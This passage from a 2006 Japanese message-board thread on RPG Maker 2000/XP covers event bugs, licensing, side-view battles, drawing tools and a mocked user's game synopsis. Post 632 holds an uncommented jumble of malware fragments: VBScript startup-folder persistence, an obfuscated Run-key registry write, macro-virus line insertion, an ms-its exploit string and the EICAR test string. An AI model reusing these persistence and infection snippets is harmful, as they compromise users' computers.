エターナル→エターナルチャンピオンなどと称されるように 【永遠の〜】という意味で、永遠に制作が終わらないツクーラーなどを 揶揄してエターナルと呼んだ。
- 628 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:09:20 ID:L2iUY0WG]
- 語源はこれだな。
ttp://studiodias.port5.com/
- 629 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:48:07 ID:NKAHTtRD]
- >>628
語源1009
- 630 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:53:34 ID:Wu1+q31F]
- ちょっと質問させてくれ。
友人から要らなくなったと言って2000を譲ってもらったんだが、 これをインストールしたらやっぱ違法になるのかなぁ・・・・・ そこらへん詳しい人教えてください。
- 631 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 15:58:58 ID:NKAHTtRD]
- ライセンスも含めて譲渡して貰ってください。
- 632 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 16:54:26 ID:CMuuaM1v]
- Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub
- 633 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 19:19:34 ID:Wu1+q31F]
- >>631
バカな俺にもうちょっとkwsk教えてくれ。 頼む
- 634 名前:名前は開発中のものです。 [2006/11/21(火) 22:31:03 ID:StR14aQj]
- >>631
ライセンスはソフトの所有者にあるからソフトを譲渡してもらった時点でライセンスはあなたにあるよ。 ただし、所有権を譲った以上、もとの所有者である君の友人が自分のPCにインストールしたままだと、 君の友人はライセンス違反になる。 もしも、そのソフトを友人から貸与されて使用した場合には所有権はその友人にあるので君がライセンス違反になる。 場合によっては(てか普通は)ソフトの貸与自体がライセンス違反になるから君も友人もライセンス違反になる可能性もある。 でも、バレなきゃいいのよwwwww 犯罪は発覚した時点で犯罪なのよ。
- 635 名前:名前は開発中のものです。 [2006/11/21(火) 22:31:42 ID:StR14aQj]
- >>631じゃなくて>>633だった・・・
- 636 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 22:48:22 ID:klpEbWwk]
- RPGツクール2000の質問です。
主人公の名前の変更時に他の主人公と重複しないようにしたいのですが 条件で\v[x]を使用しても参照できていないようです。 他の主人公の名前と比較する方法があれば教えてください。
- 637 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 23:23:03 ID:JbtgywjM]
- 条件ちゃんとみろ
- 638 名前:名前は開発中のものです。 mailto:sage [2006/11/21(火) 23:30:09 ID:s6uV0oVs]
- 作ったの配布するには、ユーザー登録ハガキを送る必要もあったよな?
- 639 名前:636 mailto:sage [2006/11/21(火) 23:36:28 ID:klpEbWwk]
- 間違えました、\n[0]で参照できません
- 640 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 00:56:47 ID:hi0t3O0H]
- もう2000の登録は送ってもただそれだけっぽい、問い合わせの時も番号を言っても向こうはわからなかったり
管理をちゃんとやっていない感じだし、そのデータ自体のデータベースが現在あるのかも怪しい状態。
- 641 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:19:34 ID:0iBiQGom]
- そんなんで、ユーザ登録ハガキ必須とか言ってんのか('A`)
- 642 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:31:08 ID:pY8WoX1x]
- >>639
名前変更可能なキャラが複数いて、それらが重複しないようにしたいんだよね? \N[n]が有効なところは限られてるから、ムリな気がする。 デフォルトネームに重複してるかは判定できるけど。 同名キャラを普通作りはしないから、プレイヤーにお任せするしかないんじゃない? 名前入力を使ったイベントを組みたいなら、考え直すしかないかと。
- 643 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 01:50:33 ID:7azrMRpP]
- >>634
日本の法ってややこしいな・・・サンクス!!
- 644 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 05:37:38 ID:mVS2A34P]
- そんなのいちいち気にするなんて律儀ですね。
さすがゲ製作技術板だ。
- 645 名前:名前は開発中のものです。 mailto:sage [2006/11/22(水) 23:31:08 ID:7azrMRpP]
- 技術に関する質問じゃなくて悪いんだが、このスレの住人の人って
ツクールで何か作品完成させたことある? もしよければ教えて欲しい
- 646 名前:名前は開発中のものです。 [2006/11/22(水) 23:40:21 ID:mysPVd5M]
- >>645
完成させた奴は自分のHPでも作ってそっちでやってるよ。
- 647 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 00:18:17 ID:7KmoeQ9B]
- >646
作品がみたいんじゃなくて、完成させた人がいるかどうかを聞きたかった
- 648 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 00:38:08 ID:+GxueJkn]
- 質問をはぐらかされるということは、です
- 649 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 04:02:07 ID:TV1BVAmA]
- あるけれど最近不穏な空気が濃くなっていて安心して作ったものをUPできるのはVIPくらい。
- 650 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 12:40:55 ID:jIcHT9mO]
- >>645 と >>649 の間にもの凄く温度差を感じた。
>>645 の言う作品というのは、そんなサンプルに毛の生えた様な代物ではないだろうに。
- 651 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 20:24:38 ID:b+j04Nn6]
- はは、確かに
- 652 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:03:20 ID:/g98BoGv]
- 2000バリューで制作してるのだが、まったく同じイベントをやっているのに
命令が効いたり効かなかったり…ということが起こってしまった。 自作メニューをマップで作っていて、 メニューマップに行く前に「主人公の向き固定」 元のマップに行く前に「向き固定解除」で 「指定動作の全実行」はどちらとも直後に入れてる。 なのに、「向き固定」と「向き固定解除」の命令がしばしば片方効かなくなる。 この部分に関してはむちゃくちゃ単純だから、 イベントの組み方が変というわけではないと思うんだけど…。 こういう命令が効く効かない「ゆらぎ」みたいなのは時々あるのだろうか?
- 653 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:13:17 ID:4xFaXXJ0]
- うp
- 654 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 21:46:35 ID:TV1BVAmA]
- >>650
別に作品規模はどちらも何も言ってないのに勝手に温度差を感じるとはいかに? サンプルに毛が生えた程度のサンプルとはどんな物だろう?ツクールに同梱されたサンプル作品は 短い物もあるが十分な完成作品といえる出来だと思うが?
- 655 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 22:08:09 ID:rTH5Jy9h]
- >>652
つか、面倒ならメニューに入る時の向きを変数で管理して、 メニューから戻る時に代入された変数に応じて向きを変更すればおk。
- 656 名前:名前は開発中のものです。 mailto:sage [2006/11/23(木) 22:48:10 ID:/g98BoGv]
- 原因わかった。
決定キー押してるとダッシュできるようにしてたんだけど たぶんそれのせいだ。 書いてなかったことが原因ですまん。 うpしようかとメニュー関連だけ取り出したら、 それまで5回に1回くらいは不具合起きてたのが ピタッと止まったのでわかった。 ともかくここに相談したことで原因解明した。ありがと。
- 657 名前:653 mailto:sage [2006/11/24(金) 00:23:16 ID:iqZ9NDRW]
- >>656
俺の的確なアドバイスのお陰だな。 もっと感謝しなさいよ。
- 658 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 01:40:48 ID:x5Afjfuy]
- てめえwww
- 659 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 14:06:04 ID:vHrxg56h]
- たった2文字で解決させちまうとはな
- 660 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 14:44:50 ID:/E6j1+Wk]
- コナンでもそうは行かんな
- 661 名前:タナ栗粉 [2006/11/24(金) 19:26:50 ID:iYQRpe0E]
- いやあ、考えたシナリオって月日とともに大分かわるね
初期に考えてたのは今思うとひでえな、俺の小説のシナリオよりひどいレベルだったからな 今はかなりよくなった。俺のRPGのシナリオ知りたいひと
- 662 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 21:11:43 ID:7QD5YBkK]
- あらすじなんかどうでもいいからとっととうpしろよ?
一体いつになったら出来るんだよ?
- 663 名前:タナ栗粉 [2006/11/24(金) 21:30:02 ID:iYQRpe0E]
- あと半年もしたら完全に完成する
- 664 名前:名前は開発中のものです。 mailto:sage [2006/11/24(金) 22:42:09 ID:1hNXieKM]
- エターナる
- 665 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 04:52:52 ID:OSfej1q9]
- 何が?
- 666 名前:タナ栗粉 [2006/11/25(土) 12:47:02 ID:eRvJ5j5W]
- 誰も聞いてくれないのか
あーもういいよ ばーかばーか
- 667 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 14:48:46 ID:ch6mcSIS]
- じゃあ聞いてやるから、とりあえずwordでシナリオ関連をまとめて、うpしてみろよ
脳内で作ったストーリーなんてまともなもんじゃねーし ツクールの歴史変えるだのと散々言ってきたんだから、それ位当たり前だよな?
- 668 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 16:19:52 ID:jfDjeXNV]
- >>666
ああ、ワードでまとめてくれれば、 こっちも評価のしようがあるんだけどな。
- 669 名前:タナ栗粉 [2006/11/25(土) 17:06:03 ID:eRvJ5j5W]
- そんな無理難題を俺に突き付けてさあ俺をつぶそうと・・・
あー なるほどお 強大な敵は若い芽のうちにってわけ?
- 670 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:08:52 ID:IMhFadJq]
- エターナッてはや3年。
システムツクって燃え尽きちまう。
- 671 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:12:48 ID:jfDjeXNV]
- >>669
いやいや、設定を箇条書きにしたものだけでいいからさ。 ワードでまとめて、ロダに上げてくれや。 ここで延々とレスするよりは、まとまった文章で発表するほうがいいだろ?
- 672 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:15:06 ID:rgV5wg96]
- そうだよね。どうせ途中で投げて日の目をみることはないんだろうし、設定だけでも発表してすっきりしちゃいなよ。
- 673 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 17:37:23 ID:ch6mcSIS]
- 天才ツクーラーなんだからその程度のことわけないだろ?
自分の作ったストーリーの筋書きもまとめられない奴を 「強大な敵」とは呼べないな。少なくとも俺は。
- 674 名前:タナ栗粉 [2006/11/25(土) 18:47:02 ID:eRvJ5j5W]
- 別に普通に設定書けばいいんだろ?つか確か前ここに書いた気がするけどまあいいか
- 675 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 18:57:13 ID:jfDjeXNV]
- >>674
おう。 ワードでちゃんとまとめてな。 よろしく頼むぜ!
- 676 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 19:50:05 ID:zT/yEFpr]
- 練習用にドラクエ1をツクール上で再現するのって違法?
- 677 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:00:42 ID:zT/yEFpr]
- あ・・・話の流れをぶった切ってしまったようだ^^; スマン
ところで、タナ厨のゲームって神獣がなんとかってやつだっけか? うp
- 678 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:02:54 ID:unIdZTV3]
- 早く天才ツクーラータナの設定資料集見たいな〜
- 679 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:03:32 ID:kRzKcBcu]
- グレーゾーンじゃね?
再現して個人で楽しむ分にはほとんど問題ないかと それを公開するとかはアレだな クロゲパ行き クロゲパに行ったところでどうなるって問題じゃないけどな
- 680 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:04:47 ID:kRzKcBcu]
- >>679は>>676に対してね
要は再現するだけならいいんじゃね?って話
- 681 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 20:06:37 ID:zT/yEFpr]
- >>679 >>680
レスサンクス♪ 練習用だし、あくまで個人的なものだからよかったゎw
- 682 名前:タナ栗粉 mailto:ぱくんなよ(*^_^*) [2006/11/25(土) 21:29:20 ID:eRvJ5j5W]
- 【作品名】
オヴェルスの翼 【あらすじ 設定】 「聖なる地オヴェルス それはすべての始まりの場所 悲しみも絶望も そして光さえも」 レーヴェンドと呼ばれる世界 そこは「ヨミ」という名の魔物が存在していた。 ヨミは幼生から成体へと進化し、新たな幼生を産み次々と増えていった。 ヨミの前では新兵器の「銃」ですら玩具同然だった。 家族を切り裂かれ友をほふられ 人々は滅びを決意する。 しかしある日 オヴェルスから翼を持った古代生物が四体発見された。 聖地から発見されたというその生物は神獣と名付けられた。 そしてヨミに対抗するために、一人の男が己の体に神獣の細胞を埋め込み 人知を越えた力を手にすることに成功した。・・・・ある代償と引き替えに。 そしてその後 ヨミを恨む者 何かを守ろうとする者 名誉を得ようとする者 数々の人間がその力を手にする。 時は50年後 神獣の細胞を埋め込み、力を得た人間による組織が結成されていた。 そしてその組織は聖地オヴェルスをはばたかせる者という意味を込め 「オヴェルスの翼」と呼ばれるようになった。 オヴェルスの翼は新兵器である「銃」の登場により衰退していった「剣」や「槍」と呼ばれる「古代神器(こだいしんき)」を駆使する。 そしてオヴェルスの翼は村や町 ある時は国から依頼を受けヨミを討伐する 無くてはならない存在となっていた。 オヴェルスの翼は実力や戦績に応じて大きく三つに分けられ 小隊の隊長や各隊の伝令、監視を行う「黒羽」 隊長の補佐などを行う「赤羽」 そして通常の戦闘員である最下層「白羽」からなる。 主人公ツウァイスはある目的のためにオヴェルスの翼となる。
- 683 名前:タナ栗粉 mailto:ぱくんなよ(*^_^*) [2006/11/25(土) 21:30:24 ID:eRvJ5j5W]
- 主人公ツウァイスはある目的のためにオヴェルスの翼となる。
白羽であるツウァイスだが腕に刻まれた白い翼の紋章は何故か片翼だった。 そして白羽でありながら黒羽以上の力を発揮するツウァイス 物語が進むにつれ自分が所属することになる小隊の隊長レインや、離反者で元小隊の隊長であるベルガー、新しく小隊に所属してきたアルゼなど仲間が増えていく しかしツウァイスは自分の感情を決して表に出そうとはしない そんなツウァイスだったがやがて自分の故郷がある人間により壊滅されたことを語る そしてそれはかつてのツウァイスの恩人だった。 オヴェルスの翼となるための代償 それは神獣の細胞の拒絶反応により定期的にくる激痛 そして記憶を少しずつ無くしていくことだった 更に時が経つにつれその症状は悪化し全ての「オヴェルスの翼」はやがては廃人となる。 しかしまれにその症状が急激に進行し神獣の細胞に支配され、廃人とはならず 強い怨念だけを糧に破壊を繰り返し、さ迷う「咎羽」となる。 あるヨミに導かれ「咎羽」となったツウァイスの恩人は故郷を壊滅させ そのヨミと共に姿を消したのだった。 いつも憎しみに塗れた剣を振るうツウァイス。 その話を聞いただれもがツウァイスは復讐を果たすために戦っているのだと思った。 恩人を咎羽へと陥れたヨミへの復讐 確かにそれがないわけではなかった。しかしツウァイスの本当の目的はその恩人を斬ることだった。 誰よりも優しく 誰よりもお人好しだった かつての恩人 そんな恩人がわけもわからず人を傷つけている その苦しみから恩人を解放することがツウァイスの本当の目的だったのだ。 復讐と解放 その狭間で揺れながら それでも全てを捨て 解放を選んだツウァイス。 そして再び剣を取る
- 684 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 21:48:27 ID:t8pTfz4l]
- >>682
wordで上げろ、読む気がしない。
- 685 名前:名前は開発中のものです。 [2006/11/25(土) 21:51:11 ID:eRvJ5j5W]
- 無理 俺基本携帯だから 苦労して書いたんだから読め
- 686 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 22:02:44 ID:t8pTfz4l]
- >>685
それはいいことを聞いた。 ほれ、 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1 >1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1
- 687 名前:名前は開発中のものです。 [2006/11/25(土) 22:06:58 ID:eRvJ5j5W]
- ん?
- 688 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 22:09:09 ID:2LGL7lkQ]
- >>686
最近の携帯は画面スクロールとかしやすいし NEC製のだとマウスみたいな操作もできるから それあまり効果ないかもしれんぞ
- 689 名前:タナ栗粉 [2006/11/25(土) 22:59:14 ID:eRvJ5j5W]
- おい なぜ誰も何もいわない
- 690 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:15:58 ID:3jSNoGBk]
- SFCのスーパーダンテのころからやってて
特に何も考えずアホのようなイベントをつくりまくって 自己満足していた俺だが、2000に手を出して できることの広さとパソコン多少理解してないと ほとんどやりたいこと出来ない現実をみて落ち込んでいる。 戦闘をサイドビューにする気になればできるとか。 パソコンが解んない俺はイベント命令だけで作るしかないよな。
- 691 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:36:59 ID:H3nNdd4i]
- >>690
2003を買えばすぐできるお( ^ω^) あとは、付属のサンプルを見て少しずつ真似していくとかな。
- 692 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:38:32 ID:Aav2aPGs]
- 2000のデフォ戦を、背景と戦闘アニメを上手く使えばサイドビューにできる。
- 693 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:48:14 ID:2LGL7lkQ]
- >>690
一番簡単なサイドビュー表示の仕方は 戦闘背景にキャラ書いちゃうことだ これだとアニメーションさせられないのと メンバー入れ替えするなら背景も変更させないといけないという 面倒な欠点もあるけどね
- 694 名前:名前は開発中のものです。 mailto:sage [2006/11/25(土) 23:53:39 ID:WaX5/QGK]
- 2000でのサイドビュー自作は技術的には難しくないけど、キャラが死んだ時のグラとかの
素材不足に悩まされることが多い
- 695 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 00:10:14 ID:as2QHKUP]
- >>694
ペイントで横向き画像を90度回転。
- 696 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 00:22:30 ID:pU9VHTGH]
- >>691-694
書いたあとでちょっと厨っぽいこと書いたなと反省したが、 こんな質問でもマジレスしてくれる人いるんだな。サンクス。 画力があればなんとかなったりするんだな。 まあ俺は画力ちっともないんだが…。 少し気が楽になった。ありがとう。
- 697 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 02:35:27 ID:DbP4CArp]
- 田奈に「ワードでうpしる」なんて難しいこと言ったら可愛そうだよ。
- 698 名前:名前は開発中のものです。 mailto:hage [2006/11/26(日) 08:43:21 ID:e7IFC+Rc]
- vista.nazo.cc/img/vi6449810572.png
- 699 名前:タナ栗粉 [2006/11/26(日) 12:13:38 ID:D10CnOGR]
- ん?なんであらすじ公開したのにみんな黙りこくっちゃったんだ?あー!さては俺のストーリーがすばらしすぎて自分の作品を諦めざるを得なくなったんだろ?
やっぱ才能がありすぎるというのは罪ってのも納得だな
- 700 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 14:17:08 ID:7KR2Etiq]
- ttp://blog.livedoor.jp/blog_ch/archives/50570040.html
これが思い浮かんだ……w
- 701 名前:名前は開発中のものです。 mailto:sage [2006/11/26(日) 16:06:39 ID:Ev2z28G2]
- >>700
URL開く前から何か分かった俺は勝ち組w
- 702 名前:名前は開発中のものです。 [2006/11/26(日) 21:11:30 ID:v4u8P29O]
- >>699
凄い才能ですね。 こんな才能のない連中のいるゲ作板にあなたのような人は近寄るべきではないと思います。 あなたのように才能溢れた人たちが集まる場所に移動するべきではないでしょうか。 お勧め場所は「VIP板」です。アソコには才能が頭蓋骨からあふれ出ちゃった人たちが常駐しています。 あなたも「VIP板」で「才能が頭蓋骨から溢れちゃってる俺様がゲームを作るスレ」あたりのタイトルでスレを立ててください。
- 703 名前:タナ栗粉 [2006/11/26(日) 21:23:44 ID:D10CnOGR]
- うむ。ではVIPに紹介してくれたまえ
おっとスレがだいぶ脱線してしまったな 俺は意外にもこのスレを大切に思っているのでしばらく消えてみよ あでゅー^^
- 704 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 01:14:09 ID:x7XZg3u1]
- >>703
とりあえずこのスレから覗いてみるといいよ。 VIPが無いと暇 etc3.2ch.net/test/read.cgi/siberia/1163501952/l50
- 705 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 03:45:41 ID:77PrszSN]
- ちょっとガンパレのウラ設定を彷彿とさせた
- 706 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 10:14:12 ID:efDdnjp2]
-
ツクールXPにてマップチップやキャラチップを作成する上でお勧めの描画ツールは 何がありますでしょうか?
- 707 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 12:29:07 ID:F/tC4fNk]
- フォトショ
- 708 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 13:57:05 ID:+j8NyQCr]
- たけえよ。Gimpで良くね?
- 709 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:00:15 ID:dQe3QpCG]
- ペインタークラシックforタブレットのオマケソフト
- 710 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:01:51 ID:Hm1NBkGm]
- GIMPで十分だよ。Photoshopに勝るとも劣らない。
フリーであれは素晴らしいと思うよ。 使ったことないけど。
- 711 名前:名前は開発中のものです。 mailto:sage [2006/11/27(月) 14:58:06 ID:S8cl0zEo]
- フリーソフトの範囲でオススメするなら
チップ素材はドット打ちが基本だから256色なら 「EDGE」 www.tkb-soft.hmcbest.com/program/win/edge/ フルカラーなら 「GraphicsGale」 www.humanbalance.net/gale/ さらにフルカラーPNGをαチャンネル透過付きで出力したいなら 「PictBear SE」 sleipnir.pos.to/software/pbse/ 辺りがいいんじゃないか? GIMPは高機能だし十分だけど、GUIがLinuxライクなのと高機能であるがゆえに 機能の割り当てを把握するのが初心者には非常に難しいからあまりお薦めしない。
- 712 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 00:02:38 ID:4xM3nFKz]
- 2000で自作戦闘作ったが、デフォ戦で十分じゃないかと思えてきた
作りこまないとデフォ戦に劣るが、作りこむならスクリプト使えるxpで作りたいジレンマ
- 713 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 01:04:29 ID:DjBynyzm]
- じゃあXPで作ればいいじゃん。
2000の自作って何のメリットがあるのかわからん。 XPだと他にデメリットがあるから2000ってんなら話はわかるけど
- 714 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 18:59:05 ID:xSki4YQJ]
- メリットって
こだわりたいか気にしないかという単純な考えによると思うんだが・・・ 制限の中で色々試行錯誤する楽しみもツクールにはあると俺は考えるぜ?
- 715 名前:名前は開発中のものです。 mailto:sage [2006/11/28(火) 19:06:01 ID:xtejKipu]
- それ(制限の中で試行錯誤する楽しみ)が2000からXPになるとなくなるのか、
と言うと疑問。 というよりそもそも>712は「作りこむならスクリプト使えるxpで」と言ってるんだから、 楽しみなんか感じてないだろうしなぁ。
- 716 名前:名前は開発中のものです。 [2006/11/28(火) 19:51:11 ID:4xM3nFKz]
- >>715
さすがに楽しみを感じないって事は無いぜ、処理の方法とか試行錯誤するのは割と好きだし もうしばらく2000で頑張ってみる事にする
- 717 名前:名前は開発中のものです。 [2006/11/28(火) 21:50:16 ID:jG/Nvvnc]
- つーか、ツクールXPってプログラミング覚えるには結構良くないか?
Rubyがいいってわけじゃなくて、ツール中のスクリプトエディタの中をじっくり見てると この処理はこうやってるんだってのがわかる。 VBで仕事用のしょうもないアプリ作っててもゲーム作りはできるようにならないよな。
- 718 名前:名前は開発中のものです。 [2006/11/28(火) 21:55:16 ID:igIecFqv]
- ちょっと質問。
ツクール2000でゲームを作ろうと思ったら、突然マップツリーデータが壊れていますとか言ってゲームが作れなくなったんだけど。 これって他になった奴いる? 対処法とかあるのかね?
- 719 名前:名前は開発中のものです。 [2006/11/28(火) 22:26:56 ID:Q3B8iOYb]
- >>718
チーン
- 720 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 00:07:54 ID:3X2v9GAs]
- >>718
ttp://diarynote.jp/d/46594/_0_50.html の5月4日 でもデーターベースが劣化するの痛い痛い 以前同じ状態になって、今も完全復旧できてない
- 721 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 09:07:54 ID:mpLisTa7]
- 2000で、複数のスイッチを一つの変数で代用しようと思うのですが、スイッチ20個までが限界でしょうか?
- 722 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 10:13:47 ID:RFocoNSH]
- 2000ってキャラの大きさ固定でしたっけ?
XPでは自由な大きさのキャラが作れるので気に入ったんですが。 あと単独EXEにできる点もかな。
- 723 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 10:52:02 ID:fVeCZEa/]
- キャラは24x32。
- 724 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 14:53:47 ID:JXFXiPDk]
- >>720
バッグアップw
- 725 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 17:34:24 ID:/3VbJ5ip]
- >>722
1キャラの大きさは固定だけど キャラチップをいくつか並べれば好きな大きさにできる。 足元が動いたら周りも同じように動くよう設定しなきゃなんないけど。
- 726 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:08:27 ID:epYJz9gz]
- ツクール2000にて、あるイベントが主人公に触れたとき、
そのイベントが勝手に下向きになってしまうのは仕様? 勝手に下向きになってしまう系の仕様って何かあったっけ?
- 727 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:15:18 ID:mpLisTa7]
- そんなのあったっけ?
ページ変えたから、とかじゃないの?
- 728 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:26:52 ID:epYJz9gz]
- ページは変わってないなぁ。
「イベントから触れたとき」「通常キャラの下」のイベントが 主人公と重なると、重なる瞬間に下向きになる。 イベント実行内容には、イベントグラフィック変更も下向き命令も存在しない。 わけわかめ。
- 729 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:31:51 ID:mpLisTa7]
- アニメーションタイプを向き固定にするといいんじゃないの
- 730 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:44:24 ID:epYJz9gz]
- 試しに向き固定にしてみた。
そのイベントは、移動中にはしっかり向き固定してたのに、 やはり触れたとたんに下向きに・・・。 人生オワタ\(^o^)/
- 731 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:49:40 ID:eJZ8HFzu]
- イベント周囲のマップ上層チップを削除してみ?
- 732 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:53:51 ID:NnZ1TQQb]
- 2000で、飛行船に乗ってる状態で、
マップに配置したイベントに触れてイベントを開始させる方法ってある?
- 733 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 18:56:57 ID:epYJz9gz]
- マップ上には、もともと上層チップがなかったりする・・・。
すまん、ありがとう。 もう別の手で行くことにするよ・・・。 みなも、やってみると同じ症状がでる・・・かも?
- 734 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 19:10:51 ID:KbwIMQsl]
- キャラグラの下向きを好きな向きのグラに描き変えればおk
- 735 名前:名前は開発中のものです。 [2006/11/29(水) 19:16:33 ID:a5CTLXX5]
- >>725
スマソ、それってプレイヤーが操作する主人公でもできる? でかいキャラを自由に動かしたいんだが
- 736 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 19:20:21 ID:ldbwnNd5]
- >>732
イベント位置の座標を監視して自動開始とかは嫌い?
- 737 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 20:03:26 ID:NnZ1TQQb]
- >>736
やはりそれしかないか。 もう既に並列処理を常時いくつか使ってるから、 できれば避けたかったんだよな。
- 738 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 20:22:08 ID:ldbwnNd5]
- >>737
どんなマップか分からないからなんだけど、飛行船の影が来る一段上にイベントを置くのは? んでイベント開始を、条件分岐で飛行船に乗っている時に起きるようにするとか。
- 739 名前:737 mailto:sage [2006/11/29(水) 20:58:24 ID:H5oiQwVN]
- >>738
ああいや、飛行船の画像と中心座標がずれてることが問題じゃなくて、 イベント開始条件が「主人公から触れた時」の場合に、 飛行船に乗ってる状態で触れても開始しないことが問題なんだわ。
- 740 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 21:09:45 ID:HFV3usia]
- 逆に飛行船の方をデフォを使わず自作すると言う発想もあるがめんどいだろうな。
やはり座標を監視するイベントが無難だろうな。
- 741 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 22:03:33 ID:ldbwnNd5]
- >>739
飛行船に乗っているとき「主人公から触れたとき」ではなく 「イベントから触れたとき」なら実行されるから、それを利用するのは?
